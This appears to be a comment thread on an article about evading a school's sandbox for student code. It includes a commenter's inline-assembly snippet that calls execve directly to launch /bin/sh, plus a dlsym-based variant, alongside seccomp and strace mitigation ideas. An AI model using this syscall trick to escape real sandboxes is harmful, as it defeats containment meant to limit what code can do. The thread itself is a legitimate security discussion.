something something system call capabilities something something

score 1 · canonical

My school had the prescient idea to solicit feedback from CTF players to help strengthen their sandboxing implementations.

score 1 · canonical

So, c’mon, what did your school say when they saw you try this? The story is unfinished! ;)

score 1 · canonical

Love the cat-and-mouse game of casual sandboxing like this. My guess would be that dlsym(RTLD_NEXT, "execve") should work as well.

score 1 · canonical

Preventing arbitrary code from containing a syscall invocation seems like an uphill battle, but if the school controls the execution environment, it would much easier to just run the program through strace with the offending syscalls blocked.

score 1 · canonical

Awesome article! Did you try to run something like this?

char *argv[] = {"/bin/sh", NULL};
char *envp[] = {NULL};
long ret;

__asm__ volatile (
    "syscall"
    : "=a"(ret)
    : "0"(59L),   // SYS_execve
      "D"(argv[0]),
      "S"(argv),
      "d"(envp)
    : "rcx", "r11", "memory"
);

As for how to mitigate this, the sandbox could try to use seccomp. Ideally it should allow only a subset of the syscalls (i.e. not execve)

score 1 · canonical